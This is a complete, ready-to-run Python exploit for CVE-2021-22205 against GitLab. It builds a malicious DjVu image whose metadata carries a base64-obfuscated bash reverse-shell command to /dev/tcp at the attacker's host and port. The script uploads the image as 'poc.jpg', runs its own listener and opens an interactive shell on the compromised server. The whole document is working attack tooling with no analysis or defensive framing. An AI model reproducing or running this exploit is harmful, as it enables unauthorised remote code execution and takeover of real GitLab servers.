#!/usr/bin/env python3 import sys import base64 import requests import random import string import argparse import socket import threading import queue import time import select from rich.console import Console from rich.markup import escape console = Console() def generate_malicious_djvu(lhost, lport): part1_b64 = "QVQmVEZPUk0AAAOvREpWTURJUk0AAAAugQACAAAARgAAAKz//96/mSAhyJFO6wwHH9LaiOhr5kQPLHEC7knTbpW9osMiP0ZPUk0AAABeREpWVUlORk8AAAAKAAgACBgAZAAWAElOQ0wAAAAPc2hhcmVkX2Fubm8uaWZmAEJHNDQAAAARAEoBAgAIAAiK5uGxN9l/KokAQkc0NAAAAAQBD/mfQkc0NAAAAAICCkZPUk0AAAMHREpWSUFOVGEAAAFQKG1ldGFkYXRhCgoKQ29weXJpZ2h0ICJcCiIgLiBxeHs=" part3_b64 = "fSAuIFwKIiBiICIpICkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCg==" part1 = base64.b64decode(part1_b64) part3 = base64.b64decode(part3_b64) cmd = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'" b64_cmd = base64.b64encode(cmd.encode()).decode() payload = f"echo {b64_cmd} | base64 -d | bash" return part1 + payload.encode() + part3 def upload_exploit(target_url, malicious_data, result_queue): rand = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8)) upload_url = f"{target_url.rstrip('/')}/{rand}" files = {'file': ('poc.jpg', malicious_data, 'image/jpeg')} try: console.print(f"[bold blue][*][/] Uploading payload to [cyan]{upload_url}[/]") r = requests.post(upload_url, files=files, timeout=30) console.print(f"[bold green][+][/] Upload responded with status [green]{r.status_code}[/]") if r.status_code == 200: result_queue.put(True) else: console.print(f"[bold red][-][/] Upload returned non-200: {r.status_code}") result_queue.put(False) except requests.exceptions.Timeout: console.print("[bold yellow][!][/] Upload timed out – this is common if the server hangs while executing the payload.") console.print("[bold yellow][!][/] We'll still check for the reverse shell connection.") result_queue.put(True) except Exception as e: console.print(f"[bold red][-][/] Upload error: {e}") result_queue.put(False) def listener_thread(lport, conn_queue): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('0.0.0.0', lport)) sock.listen(1) sock.settimeout(60) console.print(f"[bold blue][*][/] Listening on [cyan]0.0.0.0:{lport}[/] ...") try: client, addr = sock.accept() console.print(f"[bold green][+][/] Incoming connection from [green]{addr[0]}:{addr[1]}[/]") conn_queue.put(client) except socket.timeout: console.print("[bold red][-][/] Listener timed out waiting for shell.") conn_queue.put(None) except Exception as e: console.print(f"[bold red][-][/] Listener error: {e}") conn_queue.put(None) finally: sock.close() def interactive_shell(client_sock): console.print("\n[bold green][+][/] Interactive shell established. Type [bold yellow]'exit'[/] to quit.\n") while True: rlist, _, _ = select.select([sys.stdin, client_sock], [], []) for fd in rlist: if fd == sys.stdin: cmd = sys.stdin.readline() if not cmd: continue if cmd.strip().lower() == 'exit': console.print("[bold yellow][*][/] Exiting shell.") client_sock.close() return client_sock.send(cmd.encode()) elif fd == client_sock: try: data = client_sock.recv(4096) if not data: console.print("\n[bold red][-][/] Connection closed by remote host.") return sys.stdout.write(data.decode(errors='ignore')) sys.stdout.flush() except Exception as e: console.print(f"[bold red][-][/] Error receiving: {e}") return def main(): parser = argparse.ArgumentParser(description="CVE-2021-22205 RCE with auto-listener") parser.add_argument("-u", "--url", required=True, help="Target GitLab URL (e.g., http://192.168.1.100)") parser.add_argument("-l", "--lhost", required=True, help="Your listener IP (must be reachable from target)") parser.add_argument("-p", "--lport", type=int, required=True, help="Port for reverse shell") args = parser.parse_args() console.print("[bold blue][*][/] Generating malicious DjVu payload...") malicious_data = generate_malicious_djvu(args.lhost, args.lport) conn_queue = queue.Queue() upload_queue = queue.Queue() listener = threading.Thread(target=listener_thread, args=(args.lport, conn_queue)) listener.daemon = True listener.start() time.sleep(1) uploader = threading.Thread(target=upload_exploit, args=(args.url, malicious_data, upload_queue)) uploader.daemon = True uploader.start() console.print("[bold blue][*][/] Waiting for reverse shell connection... (upload may time out, that's okay)") client = conn_queue.get() if client is None: console.print("[bold red][-][/] No reverse shell connection received.") sys.exit(1) try: interactive_shell(client) except KeyboardInterrupt: console.print("\n[bold yellow][*][/] Interrupted. Closing shell.") client.close() if __name__ == "__main__": console.print("[yellow][!][/] Coded By: K3ysTr0K3R") main()